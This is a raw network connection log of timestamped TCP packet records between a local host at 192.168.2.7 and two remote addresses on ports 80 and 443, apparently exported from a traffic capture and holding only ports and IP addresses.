Nov 1, 2024 12:14:43.112293959 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:43.112340927 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:43.112385988 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:43.117189884 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:43.329719067 CET	49982	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:43.329763889 CET	443	49982	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:43.329824924 CET	49982	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:43.331069946 CET	49982	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:43.331083059 CET	443	49982	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:43.944498062 CET	443	49982	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:43.944624901 CET	49982	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:43.947818995 CET	49982	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:43.947829008 CET	443	49982	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:43.948052883 CET	443	49982	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:43.995258093 CET	49982	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:43.995297909 CET	49982	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:43.995351076 CET	443	49982	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:44.007960081 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.007985115 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.007994890 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.008007050 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.008069038 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.008096933 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.008110046 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.008137941 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.008153915 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.008167982 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.008196115 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.008217096 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.008220911 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.008263111 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.013118029 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.013130903 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.013144016 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.013184071 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.013221025 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.013355970 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.013370037 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.013406038 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.013421059 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.159957886 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160005093 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160017014 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160029888 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160043001 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160056114 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160068035 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160072088 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.160111904 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.160125017 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.160715103 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160738945 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160763979 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.160789967 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.160923004 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160937071 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160948992 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.160979033 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.161003113 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.161257982 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.161283016 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.161294937 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.161325932 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.161346912 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.161360025 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.161389112 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.162072897 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.162085056 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.162110090 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.162122011 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.162122965 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.162137032 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.162144899 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.162173033 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.162904024 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.162956953 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.162956953 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.162970066 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.163011074 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.164863110 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.164906979 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.312001944 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312058926 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312108040 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.312153101 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.312717915 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312731028 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312743902 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312756062 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312764883 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.312769890 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312783003 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312794924 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312810898 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.312834024 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.312849045 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312860012 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312871933 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312884092 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312890053 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.312920094 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.312964916 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312978029 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.312990904 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313009024 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313043118 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313123941 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313136101 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313148022 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313169956 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313190937 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313211918 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313225985 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313260078 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313261032 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313278913 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313292980 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313302040 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313306093 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313318968 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313328028 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313344002 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313358068 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313385010 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313862085 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313875914 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313890934 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313913107 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313918114 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313930988 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313942909 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313945055 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313962936 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.313963890 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313977003 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.313992977 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.314018011 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314024925 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.314033031 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314055920 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.314085007 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.314605951 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314618111 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314630985 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314651966 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.314680099 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.314754963 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314766884 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314785004 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314798117 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314804077 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.314810991 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314821959 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314836025 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314836025 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.314848900 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.314860106 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.314893007 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.464230061 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464246035 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464261055 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464274883 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464287996 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464317083 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464329004 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464340925 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464343071 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.464358091 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464433908 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.464452028 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464464903 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464476109 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464553118 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.464612961 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464624882 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464637041 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464654922 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464668989 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464680910 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464694023 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464706898 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.464719057 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.464992046 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465017080 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465028048 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465068102 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465080023 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465091944 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465100050 CET	443	49982	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:44.465127945 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465198040 CET	443	49982	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:44.465210915 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465260983 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465269089 CET	49982	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:44.465282917 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465296984 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465338945 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465378046 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465401888 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465415955 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465423107 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465432882 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465450048 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465461969 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465477943 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465534925 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465547085 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465558052 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465569019 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465579987 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465612888 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465662003 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465672016 CET	49982	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:44.465679884 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465688944 CET	443	49982	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:44.465692043 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465698957 CET	49982	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:44.465703964 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465704918 CET	443	49982	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:44.465704918 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465718985 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465730906 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.465748072 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.465780973 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466381073 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466438055 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466469049 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466481924 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466495037 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466506004 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466512918 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466521025 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466536999 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466573000 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466651917 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466665030 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466680050 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466702938 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466711998 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466716051 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466722965 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466728926 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466742992 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466753006 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466784000 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466870070 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466881990 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466893911 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466907024 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466916084 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466917992 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466933012 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466944933 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466953993 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.466954947 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.466994047 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.467005968 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469405890 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469419956 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469440937 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469460011 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469480038 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469486952 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469499111 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469508886 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469510078 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469537020 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469537973 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469548941 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469563961 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469589949 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469630003 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469645977 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469657898 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469671965 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469705105 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469723940 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469737053 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469748020 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469759941 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469773054 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469790936 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469834089 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469846964 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469880104 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469886065 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469893932 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469907045 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469916105 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469923973 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469935894 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469948053 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469949007 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469966888 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469971895 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.469980955 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.469985962 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.470020056 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.470834017 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.470848083 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.470860958 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.470886946 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.470906019 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.470938921 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.470951080 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.470962048 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.470982075 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.471012115 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.521136999 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:44.521183014 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:44.521271944 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:44.521565914 CET	49983	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:44.521579981 CET	443	49983	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:44.616094112 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616122007 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616134882 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616166115 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616178989 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616198063 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616224051 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616234064 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616245985 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616260052 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616272926 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616292000 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616302967 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616316080 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616354942 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616365910 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616378069 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616410971 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616427898 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616431952 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.616441965 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616455078 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616467953 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616494894 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616508007 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616518974 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.616538048 CET	80	49981	185.215.113.16	192.168.2.7
